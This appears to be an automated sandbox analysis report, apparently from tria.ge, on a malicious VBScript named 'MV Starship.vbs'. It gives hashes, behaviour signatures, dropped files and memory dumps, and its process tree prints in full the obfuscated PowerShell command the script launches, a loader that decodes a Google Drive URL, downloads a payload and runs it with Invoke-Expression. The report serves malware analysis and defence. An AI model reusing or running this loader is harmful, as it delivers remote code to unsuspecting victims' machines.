Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

6

Static

static

1

MV Starship.vbs

windows7-x64

6

MV Starship.vbs

windows10-2004-x64

6

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/06/2024, 19:20

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    MV Starship.vbs

  • Size

    21KB

  • MD5

    01bf68b9fb7916cf510229bdd24a6834

  • SHA1

    9fd7587e632de2b688ff7c9b90ac771b04e300f4

  • SHA256

    dff846c5ee6d0aa1b1d389a0dc98be418a941d2b3986faacec9b046f61190d42

  • SHA512

    a056b5c410c65c4cd17b6f7542a37a2b5de6c4ce6714c6f65835de1402ed3b4cf900e394bea1f116f1bd31d3fe8d28b8f9cbef628cd6284d5e5bce1d57935ca7

  • SSDEEP

    384:9sy8gxGZSf1CjZ2O7Eu0wYbVEj2zPbaFsNNFHd+tyR6MvC81Kw:9hjxGsf8jZ2iBXCPbNN1dxR6Y

Score
6/10
execution

Malware Config

Signatures

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MV Starship.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1004
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle 1 "$derivationers = 1;$Charlottenlund='';Function Herborist($Swallowtails){$Nondiscernment=$Swallowtails.Length-$derivationers;$Macromere=$Charlottenlund+'Substring';For( $Tvrfaglighedens=7;$Tvrfaglighedens -lt $Nondiscernment;$Tvrfaglighedens+=8){$Safenesses+=$Swallowtails.$Macromere.Invoke( $Tvrfaglighedens, $derivationers);}$Safenesses;}function Elabrate($Nonprotractile){ . ($Pincheck) ($Nonprotractile);}$Lidelser=Herborist 'P ckthrMAcroc,moPen,odszaprjt li.orblaclHeltem.l HavnebaBlgedal/fedn.ng5Firmate.Epicari0Fang.no Parame(FanefjoWUdstniniUnmortinNonsustd Adv.kaoTumbekgwLob.yens Bestrs VandlbsNVirkel Tindigna Shadowa1Mdeplig0Monopol.skmteda0Bull oz;Bygning PeriostWLan,eriiUnen ernove.emp6Stats,e4Prdik,n;Prototy Be,illxYderwin6Momenta4 Ov ren;Intrige OmstninrphosphovAllodia:R,ndsav1Knaldrd2Kassekl1Preflor. Disko.0Cwtind,)Weyrlac EndemorGStumpwie.mbedetcA,hundnkFunktioo Sp ogu/Aircraf2Nymphea0Gossame1Coll.so0Ulstere0Poorish1Uroe.ne0 hoplom1Uddanne BevisfrFInfantlibelysnirTwiddl,eCerati,fSpille.oFaenapexGaussku/Vesicul1Nonadap2Knog,es1Gemaric.Triobol0 Faradi ';$Professionises=Herborist ' KlapreUambitiossafireneB,llboar Favora- AaretaATonalesg UtugtseKookr pn UintahtCannabi ';$Semimaliciousness=Herborist 'Unarre.h Beamsnt MedlydtCre trep P.emersMegavol:Artemis/Dru,gyb/Pukke.hd Gu,hierSceptici NasebevEnam lle,obbele.AvengingBr tekso SaunteoL.rerbegPeckerwlApic.bae Sbehol.MisguidcHov dtroAndagt.mPermane/Funniesu UnflaucIndgroe?Tanghame .trandxAne,ochp UnegreoBenmelsrTernin,tRecirc =Tor,vild DigrapoRepertowRe.tricnFremganlStri teoForskrkaspraydadcot rmi&Krebsdyi Huggebd Karakt=Bond,ka1,rdevejBTelefonBkistebugSturd.eeMohaireXPentodemIdiophorforudsi7ThiramsW kaerinBUnicorn7FluvialL Ma,kerI Tyvere8bitrykkrBunrakuHDirektoPdegreasSResorptpFrd.ggrw MannitVIntrodui nnihi7,issentjB.lliggO J,ttas9LnkontoXKredslgQsynodonIAnt cesdSubch rcRntgenfzD scurs ';$Gatekeep=Herborist ' Beag.e>,aughfu ';$Pincheck=Herborist 'Ni.rodii Sti.preRundvisxProposi ';$Nonparlors='Gallera';$Redecision = Herborist 'MuskifieSultelncUnisexuhFredagso Reserv Signale% Fj.rteaPredanspToksikop Englebd eessraaTa,itictKommandaJudgmat%Sovesyg\CounterGClangerrFlleskoaWilhelmmInconsomr,ndstaa TredietBruskboiSaksespc zedeki.PurplisBMorfouneBev.rinr uvsede um,raes&Slamsug&Plei tr BoyardieIn ommocSlumrethUnradiaovaskegt unam rotIlloyal ';Elabrate (Herborist 'Carpali$zouaveigSc.upullOvip rooP rchlobPlin,siaHjhledelP,tesae:Fus,llfVBrnekuleKommun,sCli ocetAlmon giOv.rlibmRendegreCr nsienAfvarsltSkumlsn=Forherl(Opr knicTrempelmTailcoadAndroid Limnolo/In.eklicGru.dst inflam$ UndistRHenstileMixuncodWoefareeTeughlycParala.iAffronts.etwiseiKapselao RejemanMaestos) Fors,n ');Elabrate (Herborist 'E,femis$Basunisg Inertil Arbe doPoes,lsbUdn,tteaFilt rcl,resump:HaandskI Ho,edinSunupsbcSole,osoTilfre.rDiast orOttekanefilmindsPsychodpProarisoAnthonin Despecd Ko,eoge carbonnd,logicc ,rebogyFor uef= ircuit$blanketSK,mponee NatriumPaalgsci kaalfrm Peskiea Whor,llAdso,biiPressekcSingulriFri adeo Overw.uForstrrsSkrvebanPetitjoeProdukts raktiks rephin.Rensemas Om kolpLongilol Ejertii F brikt Revolv(Samfund$StrubcaGStilkj aTe,etyptRejoiceeInmewknkBandworeTraktateGasappapM.chaaf)Taksi.r ');$Semimaliciousness=$Incorrespondency[0];$tyggede= (Herborist ' Saxtub$AmtsraagA,viklelLemnis oSvovletb SponseaIntermelUsbekis:SjakrinATestu sfDownlinrJerntppeKrediteastat cog NattegeRessourrForkarleAtionsvdSh kenle Osma.ss Cohes,=Endeni,NTheologeKrligstwUrinsti-SiderolOUnsec ebButteryjDisquieeIrru.tscCornututMeithsi Cen,ralSOvernatyDivisiosLigkapetJubileaeKattep,m.nderfr.SmaahanNHusmdreeBac.chatUn.erst. SystemW ClotureBibeskfbu hypheCL.psidelLastep,iPretarievalgfrinPuissant');$tyggede+=$Vestiment[1];Elabrate ($tyggede);Elabrate (Herborist 'Klag,su$ agstrbAPenetrofunr.scurban,kase FiskeoaM.aneskg HazenmeKyphoscrAwakekieDenu.ledMoatinge kafirisEnhedst.Ha,moneH UnprovecomputeaMa,sastdUsheri.eOprrsber .ymssis svmmet[Bas.sud$ nsnarePSanteesrPejle io S.percfRetriereSl ngees ReembasM ralisiPredecloI,articnNobisruiJokumsrsProgreseUdkernis Rentie]Draabne=Andedk.$TommeviLafreteviAfskedidBry,lupeP ginaelSlibninsOcean uewoundaurCoriand ');$Bgeskovene=Herborist ' krfed$ AdapteAtegnebof Thebair.amiliee,orsatsaTerensrgFl.ysomeProvec,rEnshrinePapillodporphyreReembodsBldtvan.CollectDBlgerneobrahetrw IndulgnBefezzelBevillioYustagaaDecima,dGambistFAwhe,tbiSkttendlRode,eleRajasic( Gibbon$fiksstjSRhinthoefi,rinsmOplysniiTorvedam PainkiaAntwerplSpndkraiLecit.icHabitacihmme cooPolymeruColegatsMonoc rnJararacetronarvsHala,issTremmek,Allesam$Hove.stUElhegnenWorthsrdBotrycyeHalvfulfKe,anseeNonadapnPantodpdRegist,aBandlysnApp,oprtAxiolit)He dful ';$Undefendant=$Vestiment[0];Elabrate (Herborist 'M,llemh$UnsuggegBijasallComput,oTerra zbTikampeaHeretocl Indka,: M,lanonDybvandoUnderstm AphorioOvermorlOrkesteoSyndesmgKogle niPareciscFagternaSolfri,l Altsge=Polypho(BastardTaktieane UnivocsMac ocytHouse.u-SalatslPNutspolaTabtbryt ,iddashMeinost Overexu$bonitosUReluminnArteriod Ob ecteEuro arfBilbreveSamfundnHingstfdQua.nteaVejrforn Min,nat ,nivsp)Ansteti ');while (!$nomological) {Elabrate (Herborist 'Astrofe$O.bingugReamdyslhukommeoFul,stnbFarsernaDovned lSagenhe: InddatWTubercuojernvrknSelvfordOleiferem.noplarStylingiDees.panBannockgB.ackno=Brdbakk$ p.lymat Triv ar AntibuuKloakereRiddert ') ;Elabrate $Bgeskovene;Elabrate (Herborist 'PennyeaSHumrfort,jolesgaTappernrTransfutNone ig-FrilgniSTactuallAf,aetteB leddeeAarsopgpPreclos Anvende4Aftraad ');Elabrate (Herborist '.iscali$ Dia,nog,urtzitlTrap oloMiljtekbmissusea Pe,senl Flyve :veilleunVa.meleo und,bim.empiteoReinquilSoa.makoLydighegRigeligiSkatt.lco,nivisaOctyneyl crim,n= Svi.gk(RhapsodTP stulneKrumni,sUbefjedtprosopo-Hyperb,PS orsinasubpotetSkrestehRomaski Cajoled$UgunstiUSlariumn predecd Overeme JanghefpythagoeSpeedawnTru.etsdDriveriaorchillnublu.rdtM,merss)Aniceli ') ;Elabrate (Herborist 'Jollede$Kasm rsgCoryphplTingestoOarf,shb Kejsera Fitt.nl value:Ki,teneDAffiliey PolyglrChermistp oheduiKolonn,dIndk,sts bl,dserdecidene ariciagUrazineu PortallEutele.eSpildolrdelingse Denudes execut=Skuffen$BarogragMinyanilHar.ensoAflsserbfodboldaUltra,nl ,laekk:T,aktatVBeearndoLivetrag eptonitCuculareDozentbn ,unktidchylangeAnspndesSyrenen+Charola+Ph.spho%B lbide$AnnliseISyvtalcn canzoncMedlemmoSti,lesr SummonrRust.cueManner s Ursoidp Heteraoafskri.n HomomodTrresnoe,ounternUdklknicLiberalyLuftkon.GlollincSewermaoProto huSkolastnHaan sktBybudsc ') ;$Semimaliciousness=$Incorrespondency[$Dyrtidsreguleres];}$vinhandlerens=327458;$Magtapparatets=28339;Elabrate (Herborist 'Hawaiib$HydroxygTeoribglpadmelooKimsedeb BillhoaComparilInterlo:Grass oPUnsanctaJung errSlayeruaFemalislMonitorlDiabolaeSciascolYellstelFrkapsleBu,dlsedHomogen Compuls= Libera KatalogG vertrue ClitortPrefato-Tids,ngCHeterolo Salvidn Hukom,tCoars ne estann UnovertBurtoni Bloddon$RullestUBraggernTrngs ld Sa.ieneTlingenfSvaleske FristenF selsadBanelbcaUvejsomnPemph,etTor tap ');Elabrate (Herborist 'Striati$Paginergsilhouel Spectao.ffiancbLdigtinaspidsbelBe,efit:ReorderN LerkruiUnfantavAfspi,naBerve.snFarerudsbasreli5Perisin4Kernekr Mistrus=Metapol Caterin[ GrandmSFrsteviyLobulessPly dretSnderleeMisluckmCausato.re funcCSkriveboFaata.lnHypercrvTruthsfeAnt,nymrCornutit Zhmudr] Talbeh: Dberen:BasnsesFNonposirKwak utoDressenm RabarbBBacilleaRebroacsankomneeAnmel.e6Counter4 DocentS.vinekatSyvaar.rFor.finiPron,menDacryapgTimeb l(Clatchy$LandingP Procara Cad cer OmplanaCoactivlEntombmlSvarabheBengterlidentiflPanto.ae nbewild.askino)Sporvog ');Elabrate (Herborist ' Steved$ Vanligg StandrlFo vansoselvflgb MulticaUdsigerlRigsdag:TillaveCHydrostoNonn,rnl nonseqlProc,ntaOverskrt,ohndigeA.lenderLeastw a SexsymlTittivaiNatuglezforsir eAfskrkkdUn,ertr hundes =sewer.a Hectome[ColloquSAgnostiyForandrsHavemndt Ph,llie Anten.m Dragog.AdoptivTHu.deloe dicyclxDifferet Tagkon.Arriv rEDgnfluenSistanic dov,ndoRudekond flaadsiBenthacnVaaser.gLitogra]Ud ksau: Inv ta:H irychA PreweiSOrgani.CSubrutiI tapewoIMicroli.FaresigGSeparabe AmalgatFrgef,rS otididth.rmanhrCaba etiLedetranPro.eregLittera(demarch$DioderbNNedvur,iIndulgevstoepluaPortionnEskadresTautolo5Afsvkke4Afstvni)Interme ');Elabrate (Herborist ' O erga$,osterigAde tenlKvruleroC usatibTallymea tagpaplDefinit:AmoralsOTeallitpAmor,ishAvisledoElectrilSquamatdCustomaeScioptinAgersvodfyringse Mesao =Satiriz$ Nabo,rCOutskafoGladiatlcyphe,il KoncepaTolkslotTicketieCloned.r,ueestiaStgdetelSigjneriKanariezFljte,neshin.ardPer ame..eflectsKoellenu emtalsb Co,ntesMennesktProjektrVerdensiDessic.nOpkaldsgCronies(.dtryks$Syernesv Trepu,iKirkeganFab,ikahOverfrea DisazonSkovsnedWhin.dbl eimakde Forbanr AtionseOver,bsnAr,estesnanduti,Udforin$Tr.turaM FyrretamattockgLeylapotCykels,aHousalupSammenrpDo.erenaSollyoprGeokemiaOmgaerdtSidestieKaeledyt Beseeks bo,ite)Tebor.e ');Elabrate $Opholdende;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2112
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Grammatic.Ber && echo t"
        3⤵
          PID:4592

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Drunas.txt
      Filesize

      1KB

      MD5

      0a58e0ca24bc043e14c029faa9e70702

      SHA1

      347208e0705812371530ec51d7721d4b9dd3c0bf

      SHA256

      473d114c793e679a0718010cdc6c75c8968b1790841e9ec03c50bced2c18ae11

      SHA512

      86a50d6fb809b191207a00e569806479087902666bccb30be3993053579fd79374b13376d5cb07b651b553554728372f66b57a6f6bd1451b454bf1dd3711e02a

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\Drunas.txt
      Filesize

      760B

      MD5

      f25196ada6c17e22aaa368a295e155a8

      SHA1

      f492001f2bd461632d36b7a6c01b7ce669eb8735

      SHA256

      19708a3fdea40aa9d158e900dad6feac42850981e19773f951cfd5b433bc9456

      SHA512

      52195b47a10d2faab65793dbfcd92fd3c9eb5c756c9f8e993ef8cdd862c7a2a79e5e5ba6b7f1cec127b064d534eeeb7e41bc19c4861f8e3001819197b830ada9

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\Drunas.txt
      Filesize

      8KB

      MD5

      55d942f7837425a28a672fb17eb3f2d8

      SHA1

      c29923f355b2723e761d7955bea1497b464590bf

      SHA256

      a41c7095232021987bd23fa9a043f71492bacfb026f858ab02cf495e45d1700e

      SHA512

      908839ddbce4ccdb49443fef8d8dfbe98f2838f1bf408f20593e313c385e2230befeccb12379e307cd6e953b946c1436d3a72d89f5bf4c2439da08d7e9b0e93d

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uyjevjjm.3pt.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • memory/2112-329-0x00007FFFEF7B3000-0x00007FFFEF7B5000-memory.dmp

      Filesize

      8KB

      Download

    • memory/2112-330-0x000002436AD50000-0x000002436AD72000-memory.dmp

      Filesize

      136KB

      Download

    • memory/2112-340-0x00007FFFEF7B0000-0x00007FFFF0271000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2112-341-0x00007FFFEF7B0000-0x00007FFFF0271000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2112-342-0x00007FFFEF7B0000-0x00007FFFF0271000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2112-343-0x00007FFFEF7B3000-0x00007FFFEF7B5000-memory.dmp

      Filesize

      8KB

      Download

    • memory/2112-344-0x00007FFFEF7B0000-0x00007FFFF0271000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2112-345-0x00007FFFEF7B0000-0x00007FFFF0271000-memory.dmp

      Filesize

      10.8MB

      Download